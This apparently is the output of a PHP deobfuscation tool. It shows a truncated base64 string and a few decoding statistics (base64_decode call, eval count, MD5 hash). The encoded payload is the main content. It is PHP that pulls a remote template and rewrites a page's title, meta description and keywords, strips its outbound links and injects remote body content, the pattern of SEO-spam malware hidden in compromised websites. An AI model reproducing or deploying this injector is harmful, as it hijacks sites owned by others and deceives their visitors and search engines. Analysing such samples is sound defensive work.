kJCQkJCQkJCQkJCSR0aXRsZSA9ICRyZW1vdGVfdHBsWzBdOw0KCQkJCQkJCQkJCQkJJGRlc2NyaXB0aW9uID0gJHJlbW90ZV90cGxbMV07DQoJCQkJCQkJCQkJCQkka2V5d29yZHMgPSAkcmVtb3RlX3RwbFsyXTsNCgkJCQkJCQkJCQkJCSRib2R5ID0gJHJlbW90ZV90cGxbM107DQoNCgkJCQkJCQkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsNCgkJCQkJCQkJCQkJCSRwYXR0ZXJuID0gJy88dEl0TGU+KD9QPGNhdGVnb3J5Pi4qKTxcL3RpdGxlPi9Vc2knOw0KCQkJCQkJCQkJCQkJcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sICRvcmlnaW5hbHBhZ2UsICRtYXRjaGVzKTsNCgkJCQkJCQkJCQkJCSRjYXRlZ29yeSA9ICRtYXRjaGVzWydjYXRlZ29yeSddOw0KCQkJCQkJCQkJCQkJJG9yaWdpbmFscGFnZSA9IHN0cl9yZXBsYWNlICgkY2F0ZWdvcnlbMF0sICR0aXRsZSwgJG9yaWdpbmFscGFnZSk7DQoNCgkJCQkJCQkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsNCgkJCQkJCQkJCQkJCSRwYXR0ZXJuID0gJy88TUVUQSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iKD9QPGNhdGVnb3J5Pi4qKSIvVXNpJzsNCgkJCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCAkb3JpZ2luYWxwYWdlLCAkbWF0Y2hlcyk7DQoJCQkJCQkJCQkJCQkkY2F0ZWdvcnkgPSAkbWF0Y2hlc1snY2F0ZWdvcnknXTsNCgkJCQkJCQkJCQkJCSRvcmlnaW5hbHBhZ2UgPSBzdHJfcmVwbGFjZSAoJGNhdGVnb3J5WzBdLCAkZGVzY3JpcHRpb24sICRvcmlnaW5hbHBhZ2UpOw0KCQkJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCQkkbWF0Y2hlcyA9IGFycmF5KCk7DQoJCQkJCQkJCQkJCQkkcGF0dGVybiA9ICcvPE1FVEEgbmFtZT0ia2V5d29yZHMiIGNvbnRlbnQ9Iig/UDxjYXRlZ29yeT4uKikiL1VzaSc7DQoJCQkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJG9yaWdpbmFscGFnZSwgJG1hdGNoZXMpOw0KCQkJCQkJCQkJCQkJJGNhdGVnb3J5ID0gJG1hdGNoZXNbJ2NhdGVnb3J5J107DQoJCQkJCQkJCQkJCQkkb3JpZ2luYWxwYWdlID0gc3RyX3JlcGxhY2UgKCRjYXRlZ29yeVswXSwgJGtleXdvcmRzLCAkb3JpZ2luYWxwYWdlKTsNCgkJCQkJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQkJaWYgKCFwcmVnX21hdGNoKCcva2V5d29yZHMvaScsICRvcmlnaW5hbHBhZ2UpKQ0KCQkJCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQkJCQkkb3JpZ2luYWxwYWdlID0gc3RyX3JlcGxhY2UgKCI8L3RpdGxlPiIsICI8L3RpdGxlPiIuIlxuIi4iPE1FVEEgbmFtZT0na2V5d29yZHMnIGNvbnRlbnQ9JyRrZXl3b3Jkcyc+IiwgJG9yaWdpbmFscGFnZSk7DQoJCQkJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJCWlmICghcHJlZ19tYXRjaCgnL2Rlc2NyaXB0aW9uL2knLCAkb3JpZ2luYWxwYWdlKSkNCgkJCQkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJCQkJJG9yaWdpbmFscGFnZSA9IHN0cl9yZXBsYWNlICgiPC90aXRsZT4iLCAiPC90aXRsZT4iLiJcbiIuIjxNRVRBIG5hbWU9J2Rlc2NyaXB0aW9uJyBjb250ZW50PSckZGVzY3JpcHRpb24nPiIsICRvcmlnaW5hbHBhZ2UpOw0KCQkJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJCWlmIChwcmVnX21hdGNoKCcvPGJvZHkuKj8+L2knLCRvcmlnaW5hbHBhZ2UpKSANCgkJCQkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkJCQkkb3JpZ2luYWxwYWdlPXByZWdfcmVwbGFjZSgnL2hyZWY9KFtcJyJdezAsMX0paHR0cC4qPz4vaScsICc+JywgJG9yaWdpbmFscGFnZSk7DQoJCQkJCQkJCQkJCQkJCSRvcmlnaW5hbHBhZ2U9cHJlZ19yZXBsYWNlKCcvKDxib2R5Lio/PikvaScsICI8Ym9keT4kYm9keSIsICRvcmlnaW5hbHBhZ2UsIDEpOwkJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCQlyZXR1cm4gJG9yaWdpbmFscGFnZTsNCg0KCQkJCQkJCQkJfQ=='));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 2a024880177c8f68cd379f50cd12e874
Eval Count 1
Decode Time 90 ms